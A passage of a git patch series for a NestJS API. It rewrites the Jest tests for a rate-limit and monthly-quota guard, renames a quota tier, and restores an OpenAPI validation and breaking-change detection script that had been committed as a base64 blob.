XhwZWN0KHN0b3JlLmdldChtb250aEtleSkpLnRvQmUoMSk7CiAgICBleHBlY3QoZXhwaXJlcykudG9IYXZlQmVlbkNhbGxlZCgpOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlcikudG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUXVvdGEtTGltaXQiLCAxMF8wMDApOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlcikudG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUXVvdGEtUmVtYWluaW5nIiwgOV85OTkpOwogIH0pOwoKICBpdCgicmV0dXJucyA0Mjkgd2l0aCBRVU9UQV9FWENFRURFRCB3aGVuIHRoZSBtb250aGx5IHF1b3RhIGlzIGV4aGF1c3RlZCIsIGFzeW5jICgpID0+IHsKICAgIGNvbnN0IHsgY2xpZW50IH0gPSBjcmVhdGVSZWRpcyg5OTk5KTsKICAgIGNvbnN0IGd1YXJkID0gbmV3IFF1b3RhR3VhcmQocmVmbGVjdG9yLCBjbGllbnQpOwogICAgamVzdC5zcHlPbihyZWZsZWN0b3IsICJnZXRBbGxBbmRPdmVycmlkZSIpLm1vY2tSZXR1cm5WYWx1ZSh1bmRlZmluZWQpOwogICAgY29uc3QgeyBjb250ZXh0LCByZXNwb25zZSB9ID0gY3JlYXRlQ29udGV4dCh7CiAgICAgIHVzZXI6IHsgaWQ6ICJ1c2VyLTQiLCBhcGlLZXk6ICJrZXktMiIsIHRpZXI6ICJmcmVlIiB9LAogICAgfSk7CgogICAgdHJ5IHsKICAgICAgYXdhaXQgZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCk7CiAgICAgIHRocm93IG5ldyBFcnJvcigiRXhwZWN0ZWQgcXVvdGEgcmVqZWN0aW9uIik7CiAgICB9IGNhdGNoIChlcnJvcikgewogICAgICBleHBlY3QoZXJyb3IpLnRvQmVsbnN0YW5jZU9mKEh0dHBFeGNlcHRpb24pOwogICAgICBjb25zdCBleGNlcHRpb24gPSBlcnJvciBhcyBIdHRwRXhjZXB0aW9uOwogICAgICBleHBlY3QoZXhjb3B0aW9uLmdldFN0YXR1cygpKS50b0JlKEh0dHBTdGF0dXMuVE9PX01BTllfUkVRVUVTVFMpOwogICAgICBjb25zdCBib2R5ID0gZXhjb3B0aW9uLmdldFJlc3BvbnNlKCkgYXMgeyBjb2RlOiBzdHJpbmc7IHJlc2V0QXQ6IHN0cmluZyB9OwogICAgICBleHBlY3QoYm9keS5jb2RlKS50b0JlKEVycm9yQ29kZS5RVU9UQV9FWENFRURFRCk7CiAgICAgIGV4cGVjdCh0eXBlb2YgYm9keS5yZXNldEF0KS50b0JlKCJzdHJpbmciKTsKICAgIH0KCiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1RdW90YS1SZW1haW5pbmciLCAwKTsKICB9KTsKCiAgaXQoImRvZXMgbm90IGVuZm9yY2UgbW9udGhseSBxdW90YSBmb3IgZW50ZXJwcmlzZSB0aWVyIiwgYXN5bmMgKCkgPT4gewogICAgY29uc3QgeyBjbGllbnQgfSA9IGNyZWF0ZVJlZGlzKDEwXzAwMF8wMDApOwogICAgY29uc3QgZ3VhcmQgPSBuZXcgUXVvdGFHdWFyZChyZWZsZWN0b3IsIGNsaWVudCk7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KHsKICAgICAgdXNlcjogeyBpZDogInVzZXItNSIsIGFwaUtleTogImtleS0zIiwgdGllcjogImVudGVycHJpc2UiIH0sCiAgICB9KTsKCiAgICBhd2FpdCBleHBlY3QoZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCkpLnJlc29sdmVzLnRvQmUodHJ1ZSk7CiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1RdW90YS1MaW1pdCIsIC0xKTsKICB9KTsKfSk7Cg== \ No newline at end of file +import { ExecutionContext, HttpException, HttpStatus } from "@nestjs/common"; +import { Reflector } from "@nestjs/core"; +import { QuotaGuard } from "./quota.guard"; + +// The guard builds its own client from REDIS_URL; tests replace the whole +// driver so the monthly counter is deterministic and no server is required. +const mockQuotaStore = new Map(); + +jest.mock("redis", () => ({ + createClient: jest.fn(() => ({ + isOpen: true, + on: jest.fn(), + connect: jest.fn().mockResolvedValue(undefined), + incr: jest.fn(async (key: string) => { + const next = (mockQuotaStore.get(key) ?? 0) + 1; + mockQuotaStore.set(key, next); + return next; + }), + expire: jest.fn().mockResolvedValue(true), + })), +})); + +function createContext(options?: { + user?: { + id?: string; + sub?: string; + address?: string; + role?: string; + tier?: string; + type?: string; + }; + ip?: string; + originalUrl?: string; + headers?: Record; +}): { + context: ExecutionContext; + response: { header: jest.Mock; setHeader: jest.Mock }; +} { + const request = { + ip: options?.ip ?? "127.0.0.1", + headers: options?.headers ?? {}, + originalUrl: options?.originalUrl ?? "/api/test", + route: { path: "/api/test" }, + authType: options?.user?.type, + user: options?.user, + }; + + const response = { + header: jest.fn(), + setHeader: jest.fn(), + }; + + const context = { + getHandler: jest.fn(), + getClass: jest.fn(), + switchToHttp: () => ({ + getRequest: () => request, + getResponse: () => response, + }), + } as unknown as ExecutionContext; + + return { context, response }; +} + +describe("QuotaGuard", () => { + let guard: QuotaGuard; + let reflector: Reflector; + + beforeEach(() => { + reflector = new Reflector(); + guard = new QuotaGuard(reflector); + }); + + it("allows requests and emits rate-limit headers for the default tier", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext(); + + await expect(guard.canActivate(context)).resolves.toBe(true); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Limit", 100); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Remaining", 99); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Tier", "free"); + }); + + it("uses the authenticated user tier when one is available", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-1", role: "admin" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + expect(response.header).toHaveBeenCalledWith( + "X-RateLimit-Tier", + "enterprise", + ); + }); + + it("rejects requests after the configured limit is reached", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue({ + level: "auth", + limit: 1, + windowMs: 60_000, + }); + + const { context } = createContext({ + user: { id: "user-2", role: "user" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + try { + await guard.canActivate(context); + throw new Error("Expected rate limit rejection"); + } catch (error) { + expect(error).toBeInstanceOf(HttpException); + expect((error as HttpException).getStatus()).toBe( + HttpStatus.TOO_MANY_REQUESTS, + ); + } + }); + + describe("monthly API quota (redis-backed)", () => { + const previousRedisUrl = process.env.REDIS_URL; + + function currentMonthKey(): string { + const now = new Date(); + return `${now.getUTCFullYear()}-${String(now.getUTCMonth() + 1).padStart(2, "0")}`; + } + + beforeEach(() => { + // Must be set before the guard is constructed: the client promise is + // resolved once and cached per instance. + process.env.REDIS_URL = "redis://localhost:6379"; + mockQuotaStore.clear(); + guard = new QuotaGuard(reflector); + }); + + afterEach(() => { + if (previousRedisUrl === undefined) { + delete process.env.REDIS_URL; + } else { + process.env.REDIS_URL = previousRedisUrl; + } + }); + + it("increments the per-key monthly counter once per request", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context } = createContext({ + user: { id: "user-7", tier: "free" }, + headers: { "x-api-key": "key-counter" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect( + mockQuotaStore.get(`quota:key-counter:${currentMonthKey()}`), + ).toBe(2); + }); + + it("emits the paid-tier monthly limit, not the free-tier fallback", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-8", tier: "paid" }, + headers: { "x-api-key": "key-paid" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect(response.header).toHaveBeenCalledWith("X-Quota-Limit", 1_000_000); + expect(response.header).toHaveBeenCalledWith( + "X-Quota-Remaining", + 999_999, + ); + }); + + it("returns 429 with QUOTA_EXCEEDED when the free quota is exhausted", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + mockQuotaStore.set(`quota:key-done:${currentMonthKey()}`, 10_000); + + const { context } = createContext({ + user: { id: "user-9", tier: "free" }, + headers: { "x-api-key": "key-done" }, + }); + + try { + await guard.canActivate(context); + throw new Error("Expected monthly quota rejection"); + } catch (error) { + expect(error).toBeInstanceOf(HttpException); + expect((error as HttpException).getStatus()).toBe( + HttpStatus.TOO_MANY_REQUESTS, + ); + const body = (error as HttpException).getResponse() as { + code?: string; + }; + expect(body.code).toBe("QUOTA_EXCEEDED"); + } + }); + + it("reports enterprise usage as unlimited without touching redis", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-10", role: "admin" }, + headers: { "x-api-key": "key-ent" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect(response.header).toHaveBeenCalledWith( + "X-Quota-Remaining", + "unlimited", + ); + expect(mockQuotaStore.size).toBe(0); + }); + }); +}); diff --git a/src/common/guard/quota.guard.ts b/src/common/guard/quota.guard.ts index b061e846..eb19a2a9 100644 --- a/src/common/guard/quota.guard.ts +++ b/src/common/guard/quota.guard.ts @@ -21,7 +21,7 @@ import { const MONTHLY_QUOTA_LIMITS: Record = { free: 10_000, - pro: 1_000_000, + paid: 1_000_000, enterprise: Number.POSITIVE_INFINITY, }; From f5b9e8e75ed73780d6947caa04111b113e47ebf4 Mon Sep 17 00:00:00 2001 From: Okey Amy Date: Sun, 18 Oct 2026 15:01:03 +0100 Subject: [PATCH 3/4] fix: restore scripts/validate-openapi.ts from base64 blob The script was committed as one base64 line in fee9663 and its decoded content was damaged in several places (mangled function signature, unterminated template literal, a comment-terminated expression, plus a truncated tail). Rebuild it from the decoded body: repair the four corrupted statements, re-derive the generateOpenAPISpec/main tail from the last plain revision (fee9663~1), and keep the breaking-change detection that fee9663 added. The file type-checks under ts-node again. --- scripts/validate-openapi.ts | 740 +++++++++++++++++++++++++++++++++++- 1 file changed, 739 insertions(+), 1 deletion(-) diff --git a/scripts/validate-openapi.ts b/scripts/validate-openapi.ts index ed6f0553..73999ff6 100644 --- a/scripts/validate-openapi.ts +++ b/scripts/validate-openapi.ts @@ -1 +1,739 @@ -LyoqCiAqIE9wZW5BUEkgU3BlY2lmaWNhdGlvbiBWYWxpZGF0aW9uIFNjcmlwdAogKgogKiBWYWxpZGF0ZXMgdGhlIGdlbmVyYXRlZCBPcGVuQVBJIHNwZWNpZmljYXRpb24gZm9yIGNvbXBsZXRlbmVzcyBhbmQgY29uc2lzdGVuY3ksCiAqIGFuZCBkZXRlY3RzIGJyZWFraW5nIFJFU1QgQVBJIGNvbnRyYWN0IGNoYW5nZXMgYWdhaW5zdCBhIGdpdCBiYXNlbGluZS4KICoKICogVXNhZ2U6CiAqICAgbnBtIHJ1biBvcGVuYXBpOnZhbGlkYXRlCiAqICAgbnBtIHJ1biBvcGVuYXBpOnZhbGlkYXRlIC0tIC0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcwogKiAgIG5wbSBydW4gb3BlbmFwaTp2YWxpZGF0ZSAtLSAtLWJhc2VsaW5lIGdpdDpPcmlnaW4vbWFpbgogKi8KCmltcG9ydCB7IE5lc3RGYWN0b3J5IH0gZnJvbSAiQG5lc3Rqcy9jb3JlIjsKaW1wb3J0IHsgRG9jdW1lbnRCdWlsZGVyLCBTd2FnZ2VyTW9kdWxlLCBPcGVuQVBJT2JqZWN0IH0gZnJvbSAiQG5lc3Rqcy9zd2FnZ2VyIjsKaW1wb3J0IHsgcmVhZEZpbGVTeW5jLCBleGlzdHNTeW5jIH0gZnJvbSAiZnMiOwppbXBvcnQgeyBqb2luIH0gZnJvbSAicGF0aCI7CmltcG9ydCB7IGV4ZWNGaWxlU3luYyB9IGZyb20gImNoaWxkX3Byb2Nlc3MiOwppbXBvcnQgeyBBcHBNb2R1bGUgfSBmcm9tICIuLi9zcmMvYXBwLm1vZHVsZSI7CgppbnRlcmZhY2UgVmFsaWRhdGlvblJlc3VsdCB7CiAgdmFsaWQ6IGJvb2xlYW47CiAgZXJyb3JzOiBzdHJpbmdbXTsKICB3YXJuaW5nczogc3RyaW5nW107CiAgYnJlYWtpbmdDaGFuZ2VzOiBCcmVha2luZ0NoYW5nZVtdOwogIHN0YXRzOiB7CiAgICBlbmRwb2ludHM6IG51bWJlcjsKICAgIHNjaGVtYXM6IG51bWJlcjsKICAgIHRhZ3M6IG51bWJlcjsKICAgIHNlY3VyaXR5U2NoZW1lczogbnVtYmVyOwogIH07Cn0KCmV4cG9ydCB0eXBlIEJyZWFraW5nQ2hhbmdlS2luZCA9CiAgfCAicmVtb3ZlZC1lbmRwb2ludCIKICB8ICJyZW1vdmVkLW1ldGhvZCIKICB8ICJyZW1vdmVkLXJlc3BvbnNlLXN0YXR1cyIKICB8ICJyZW1vdmVkLXJlc3BvbnNlLXByb3BlcnR5IgogIHwgImNoYW5nZWQtcHJvcGVydHktdHlwZSIKICB8ICJhZGRlZC1yZXF1aXJlZC1yZXF1ZXN0LXBhcmFtZXRlciIKICB8ICJhZGRlZC1yZXF1aXJlZC1yZXF1ZXN0LWJvZHktcHJvcGVydHkiCiAgfCAicmVtb3ZlZC1wYXRoLXBhcmFtZXRlciIKICB8ICJjaGFuZ2VkLXBhcmFtZXRlci10eXBlIjsKCmV4cG9ydCBpbnRlcmZhY2UgQnJlYWtpbmdDaGFuZ2UgewogIGtpbmQ6IEJyZWFraW5nQ2hhbmdlS2luZDsKICBsb2NhdGlvbjogc3RyaW5nOwogIG1lc3NhZ2U6IHN0cmluZzsKfQoKZXhwb3J0IGludGVyZmFjZSBDb21wYXJlT3B0aW9ucyB7CiAgYWxsb3dCcmVha2luZ0NoYW5nZXM/OiBib29sZWFuOwogIGJhc2VsaW5lUmVmPzogc3RyaW5nOwp9Cgpjb25zdCBIVFRQX01FVEhPRFMgPSBbCiAgImdldCIsCiAgInBvc3QiLAogICJwdXQiLAogICJkZWxldGUiLAogICJwYXRjaCIsCiAgIm9wdGlvbnMiLAogICJoZWFkIiwKXSBhcyBjb25zdDsKCi8qKgogKiBSZXNvbHZlIHRoZSBnaXQgYmFzZWxpbmUgT3BlbkFQSSBKU09OIGRvY3VtZW50LiBQcmVmZXJzIGFuIGV4cGxpY2l0IHJlZgogKiAodXN1YWxseSBmcm9tIENJLCBlLmcuIGdpdDpPUklHSU5fSEVBRH4xIG9yIGdpdDpvcmlnaW4vbWFpbikuIEZhbGxzIGJhY2sKICogdG8gYSBzZW5zaWJsZSBkZWZhdWx0IGFuZCByZXR1cm5zIG51bGwgd2hlbiBubyBiYXNlbGluZSBpcyBhdmFpbGFibGUuCiAqLwpleHBvcnQgZnVuY3Rpb24gcmVzb2x2ZUJhc2VsaW5lU3BlYyhiYXNlbGluZVJlZj86IHN0cmluZyk6IE9wZW5BUElPYmplY3QgfCBudWxsIHsKICBjb25zdCByZWYgPSBiYXNlbGluZVJlZiB8fCBwcm9jZXNzLmVudi5PUEVOQVBJX0JBU0VMSU5FX1JFRiB8fCAiZ2l0OkhFQUR+MSI7CiAgY29uc3QgW3NvdXJjZSwgcmVmTmFtZV0gPSByZWYuc3BsaXQoIjoiLCAyKTsKCiAgaWYgKHNvdXJjZSA9PT0gImZpbGUiKSB7CiAgICBpZiAoIWV4aXN0c1N5bmMocmVmTmFtZSkpIHsKICAgICAgcmV0dXJuIG51bGw7CiAgICB9CiAgICB0cnkgewogICAgICByZXR1cm4gSlNPTi5wYXJzZShyZWFkRmlsZVN5bmMocmVmTmFtZSwgInV0Zi04IikpIGFzIE9wZW5BUElPYmplY3Q7CiAgICB9IGNhdGNoIHsKICAgICAgcmV0dXJuIG51bGw7CiAgICB9CiAgfQoKICBpZiAoc291cmNlICE9PSAiZ2l0IikgewogICAgcmV0dXJuIG51bGw7CiAgfQoKICBjb25zdCBnaXRSZWYgPSByZWZOYW1lIHx8ICJIRUFEnjEiOwogIHRyeSB7CiAgICBjb25zdCBvdXQgPSBleGVjRmlsZVN5bmMoCiAgICAgICJnaXQiLAogICAgICBbInNob3ciLCBgJHtnaXRSZWZ9OmRvY3Mvb3BlbmFwaS5qc29uYF0sCiAgICAgIHsgZW5jb2Rpbmc6ICJ1dGYtOCIsIG1heEJ1ZmZlcjogNjQgKiAxMDI0ICogMTAyNCB9LAogICAgKTsKICAgIHJldHVybiBKU09OLnBhcnNlKG91dCkgYXMgT3BlbkFQSU9iamVjdDsKICB9IGNhdGNoIHsKICAgIHJldHVybiBudWxsOwogIH0KfQoKZnVuY3Rpb24gcmVzb2x2ZVJlZihzcGVjOiBhbnksIHJlZjogc3RyaW5nKTogYW55IHsKICBpZiAoIXJlZiB8fCAhcmVmLnN0YXJ0c1dpdGgoIiMvIikpIHsKICAgIHJldHVybiB1bmRlZmluZWQ7CiAgfQogIGNvbnN0IHBhcnRzID0gcmVmLnN1YnN0cmluZygxKS5zcGxpdCgiLyIpOwogIGxldCBjdXIgPSBzcGVjOwogIGZvciAoY29uc3QgcGFydCBvZiBwYXJ0cykgewogICAgaWYgKGN1ciA9PSBudWxsKSB7CiAgICAgIHJldHVybiB1bmRlZmluZWQ7CiAgICB9CiAgICBjdXIgPSBjdXJbZGVjb2RlVVJJQ29tcG9uZW50KHBhcnQpXTsKICB9CiAgcmV0dXJuIGN1cjsKfQoKZnVuY3Rpb24gbm9ybWFsaXplVHlwZSh0eXBlOiBhbnkpOiBzdHJpbmcgewogIGlmICh0eXBlID09IG51bGwpIHsKICAgIHJldHVybiAidW5rbm93biI7CiAgfQogIGlmIChBcnJheS5pc0FycmF5KHR5cGUpKSB7CiAgICByZXR1cm4gdHlwZS5tYXAoKHQpID0+IFN0cmluZyh0KSkuc29ydCgpLmpvaW4oInwiKTsKICB9CiAgcmV0dXJuIFN0cmluZyh0eXBlKTsKfQoKZnVuY3Rpb24gZGVzY3JpYmVTY2hlbWEoc2NoZW1hOiBhbnkpOiBzdHJpbmcgewogIGlmICghc2NoZW1hKSB7CiAgICByZXR1cm4gInVua25vd24iOwogIH0KICBpZiAoc2NoZW1hLiRyZWYpIHsKICAgIHJldHVybiBzY2hlbWEuJHJlZjsKICB9CiAgaWYgKHNjaGVtYS5hbGxPZikgewogICAgcmV0dXJuIHNjaGVtYS5hbGxPZi5tYXAoZGVzY3JpYmVTY2hlbWEpLmpvaW4oIiAmICIpOwogIH0KICBpZiAoc2NoZW1hLm9uZU9mKSB7CiAgICByZXR1cm4gc2NoZW1hLm9uZU9mLm1hcChkZXNjcmliZVNjaGVtYSkuam9pbigiIHwgIik7CiAgfQogIGlmIChzY2hlbWEuYW55T2YpIHsKICAgIHJldHVybiBzY2hlbWEuYW55T2YubWFwKGRlc2NyaWJlU2NoZW1hKS5qb2luKCIgfCAiKTsKICB9CiAgaWYgKHNjaGVtYS50eXBlID09PSAiYXJyYXkiKSB7CiAgICByZXR1cm4gYEFycmF5PCR7ZGVzY3JpYmVTY2hlbWEoc2NoZW1hLml0ZW1zKX0+YDsKICB9CiAgaWYgKHNjaGVtYS50eXBlID09PSAib2JqZWN0IiB8fCBzY2hlbWEucHJvcGVydGllcykgewogICAgcmV0dXJuICJvYmplY3QiOwogIH0KICByZXR1cm4gbm9ybWFsaXplVHlwZShzY2hlbWEudHlwZSk7Cn0KCmZ1bmN0aW9uIGdldFJlc29sdmVkU2NoZW1hKHNwZWM6IGFueSwgc2NoZW1hOiBhbnkpOiBhbnkgewogIGlmICghc2NoZW1hKSB7CiAgICByZXR1cm4gc2NoZW1hOwogIH0KICBpZiAoc2NoZW1hLiRyZWYpIHsKICAgIGNvbnN0IHJlc29sdmVkID0gcmVzb2x2ZVJlZihzcGVjLCBzY2hlbWEuJHJlZik7CiAgICByZXR1cm4gcmVzb2x2ZWQgfHwgc2NoZW1hOwogIH0KICByZXR1cm4gc2NoZW1hOwp9CgpmdW5jdGlvbiBjb2xsZWN0UmVzcG9uc2VQcm9wZXJ0aWVzKAogIHNwZWM6IGFueSwKICBzY2hlbWE6IGFueSwKICBwcmVmaXg6IHN0cmluZywKICBvdXQ6IE1hcDxzdHJpbmcsIHN0cmluZz4sCiAgdmlzaXRlZDogU2V0PHN0cmluZz4sCik6IHZvaWQgewogIGNvbnN0IHJlc29sdmVkID0gZ2V0UmVzb2x2ZWRTY2hlbWEoc3BlYywgc2NoZW1hKTsKICBpZiAoIXJlc29sdmVkKSB7CiAgICByZXR1cm47CiAgfQoKICBpZiAocmVzb2x2ZWQuJHJlZikgewogICAgaWYgKHZpc2l0ZWQuaGFzKHJlc29sdmVkLiRyZWYpKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHZpc2l0ZWQuYWRkKHJlc29sdmVkLiRyZWYpOwogIH0KCiAgaWYgKHJlc29sdmVkLmFsbE9mKSB7CiAgICBmb3IgKGNvbnN0IHBhcnQgb2YgcmVzb2x2ZWQuYWxsT2YpIHsKICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcyhzcGVjLCBwYXJ0LCBwcmVmaXgsIG91dCwgdmlzaXRlZCk7CiAgICB9CiAgfQoKICBpZiAocmVzb2x2ZWQucHJvcGVydGllcykgewogICAgZm9yIChjb25zdCBba2V5LCB2YWx1ZV0gb2YgT2JqZWN0LmVudHJpZXMocmVzb2x2ZWQucHJvcGVydGllcyBhcyBSZWNvcmQ8c3RyaW5nLCBhbnk+KSkgewogICAgICBjb25zdCBwYXRoID0gcHJlZml4ID8gYCR7cHJlZml4fS4ke2tleX1gIDoga2V5OwogICAgICBvdXQuc2V0KHBhdGgsIGRlc2NyaWJlU2NoZW1hKHZhbHVlKSk7CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmVzdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXNwb25zZVByb3BlcnRpZXMoc3BlYywgbmVzdGVkLCBwYXRoLCBvdXQsIHZpc2l0ZWQpOwogICAgICB9CiAgICB9CiAgfQp9CgpmdW5jdGlvbiBjb2xsZWN0UmVxdWVzdEJvZHlQcm9wZXJ0aWVzKAogIHNwZWM6IGFueSwKICBzY2hlbWE6IGFueSwKICBwcmVmaXg6IHN0cmluZywKICBvdXQ6IE1hcDxzdHJpbmcsIHN0cmluZz4sCiAgdmlzaXRlZDogU2V0PHN0cmluZz4sCik6IHZvaWQgewogIGNvbnN0IHJlc29sdmVkID0gZ2V0UmVzb2x2ZWRTY2hlbWEoc3BlYywgc2NoZW1hKTsKICBpZiAoIXJlc29sdmVkKSB7CiAgICByZXR1cm47CiAgfQoKICBpZiAocmVzb2x2ZWQuJHJlZikgewogICAgaWYgKHZpc2l0ZWQuaGFzKHJlc29sdmVkLiRyZWYpKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHZpc2l0ZWQuYWRkKHJlc29sdmVkLiRyZWYpOwogIH0KCiAgaWYgKHJlc29sdmVkLmFsbE9mKSB7CiAgICBmb3IgKGNvbnN0IHBhcnQgb2YgcmVzb2x2ZWQuYWxsT2YpIHsKICAgICAgY29sbGVjdFJlcXVlc3RCb2R5UHJvcGVydGllcyhzcGVjLCBwYXJ0LCBwcmVmaXgsIG91dCwgdmlzaXRlZCk7CiAgICB9CiAgfQoKICBpZiAocmVzb2x2ZWQucHJvcGVydGllcykgewogICAgZm9yIChjb25zdCBba2V5LCB2YWx1ZV0gb2YgT2JqZWN0LmVudHJpZXMocmVzb2x2ZWQucHJvcGVydGllcyBhcyBSZWNvcmQ8c3RyaW5nLCBhbnk+KSkgewogICAgICBjb25zdCBwYXRoID0gcHJlZml4ID8gYCR7cHJlZml4fS4ke2tleX1gIDoga2V5OwogICAgICBvdXQuc2V0KHBhdGgsIGRlc2NyaWJlU2NoZW1hKHZhbHVlKSk7CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmVzdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVByb3BlcnRpZXMoc3BlYywgbmVzdGVkLCBwYXRoLCBvdXQsIHZpc2l0ZWQpOwogICAgICB9CiAgICB9CiAgfQp9CgpmdW5jdGlvbiBjb2xsZWN0UmVxdWVzdEJvZHlSZXF1aXJlZCgKICBzcGVjOiBhbnksCiAgc2NoZW1hOiBhbnksCiAgcHJlZml4OiBzdHJpbmcsCiAgb3V0OiBNYXA8c3RyaW5nLCBzdHJpbmc+LAogIHZpc2l0ZWQ6IFNldDxzdHJpbmc+LAopOiB2b2lkIHsKICBjb25zdCByZXNvbHZlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHNjaGVtYSk7CiAgaWYgKCFyZXNvbHZlZCkgewogICAgcmV0dXJuOwogIH0KCiAgaWYgKHJlc29sdmVkLiRyZWYpIHsKICAgIGlmICh2aXNpdGVkLmhhcyhyZXNvbHZlZC4kcmVmKSkgewogICAgICByZXR1cm47CiAgICB9CiAgICB2aXNpdGVkLmFkZChyZXNvbHZlZC4kcmVmKTsKICB9CgogIGlmIChyZXNvbHZlZC5hbGxPZikgewogICAgZm9yIChjb25zdCBwYXJ0IG9mIHJlc29sdmVkLmFsbE9mKSB7CiAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVJlcXVpcmVkKHNwZWMsIHBhcnQsIHByZWZpeCwgb3V0LCB2aXNpdGVkKTsKICAgIH0KICB9CgogIGlmIChyZXNvbHZlZC5wcm9wZXJ0aWVzKSB7CiAgICBjb25zdCByZXF1aXJlZDogc3RyaW5nW10gPSBBcnJheS5pc0FycmF5KHJlc29sdmVkLnJlcXVpcmVkKQogICAgICA/IHJlc29sdmVkLnJlcXVpcmVkCiAgICAgIDogW107CiAgICBmb3IgKGNvbnN0IFtrZXksIHZhbHVlXSBvZiBPYmplY3QuZW50cmllcyhyZXNvbHZlZC5wcm9wZXJ0aWVzIGFzIFJlY29yZDxzdHJpbmcsIGFueT4pKSB7CiAgICAgIGNvbnN0IHBhdGggPSBwcmVmaXggPyBgJHtwcmVmaXh9LiR7a2V5fWAgOiBrZXk7CiAgICAgIGlmIChyZXF1aXJlZC5pbmNsdWRlcyhrZXkpKSB7CiAgICAgICAgb3V0LnNldChwYXRoLCBkZXNjcmliZVNjaGVtYSh2YWx1ZSkpOwogICAgICB9CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmVzdGVkLnByb3BlcnRpZXMgfHwgbmVzdGVkLmFsbE9mKSkgewogICAgICAgIGNvbGxlY3RSZXF1ZXN0Qm9keVJlcXVpcmVkKHNwZWMsIG5lc3RlZCwgcGF0aCwgb3V0LCB2aXNpdGVkKTsKICAgICAgfQogICAgfQogIH0KfQoKZnVuY3Rpb24gY29sbGVjdFJlc3BvbnNlU3RhdHVzZXMob3BlcmF0aW9uOiBhbnkpOiBNYXA8c3RyaW5nLCBhbnk+IHsKICBjb25zdCBvdXQgPSBuZXcgTWFwPHN0cmluZywgYW55PigpOwogIGZvciAoY29uc3QgW3N0YXR1cywgcmVzcG9uc2VdIG9mIE9iamVjdC5lbnRyaWVzKAogICAgKG9wZXJhdGlvbi5yZXNwb25zZXMgfHwge30pIGFzIFJlY29yZDxzdHJpbmcsIGFueT4sCiAgKSkgewogICAgb3V0LnNldChTdHJpbmcoc3RhdHVzKSwgcmVzcG9uc2UpOwogIH0KICByZXR1cm4gb3V0Owp9CgpmdW5jdGlvbiBjb2xsZWN0UGFyYW1ldGVycyhvcGVyYXRpb246IGFueSk6IE1hcDxzdHJpbmcsIGFueT4gewogIGNvbnN0IG91dCA9IG5ldyBNYXA8c3RyaW5nLCBhbnk+KCk7CiAgY29uc3QgcGFyYW1zID0gQXJyYXkuaXNBcnJheShvcGVyYXRpb24ucGFyYW1ldGVycykKICAgID8gb3BlcmF0aW9uLnBhcmFtZXRlcnMKICAgIDogW107CiAgZm9yIChjb25zdCBwYXJhbSBvZiBwYXJhbXMpIHsKICAgIGlmICghcGFyYW0gfHwgIXBhcmFtLm5hbWUpIHsKICAgICAgY29udGludWU7CiAgICB9CiAgICBjb25zdCBrZXkgPSBgJHtwYXJhbS5pbiB8fCAicXVlcnl9OiR7cGFyYW0ubmFtZX1gOwogICAgb3V0LnNldChrZXksIHBhcmFtKTsKICB9CiAgcmV0dXJuIG91dDsKfQoKZXhwb3J0IGZ1bmN0aW9uIGRldGVjdEJyZWFraW5nQ2hhbmdlcygKICBiYXNlbGluZTogT3BlbkFQSU9iamVjdCB8IG51bGwsCiAgY3VycmVudDogT3BlbkFQSU9iamVjdCwKKTogQnJlYWtpbmdDaGFuZ2VbXSB7CiAgY29uc3QgY2hhbmdlczogQnJlYWtpbmdDaGFuZ2VbXSA9IFtdOwoKICBpZiAoIWJhc2VsaW5lKSB7CiAgICByZXR1cm4gY2hhbmdlczsKICB9CgogIGNvbnN0IGJhc2VQYXRocyA9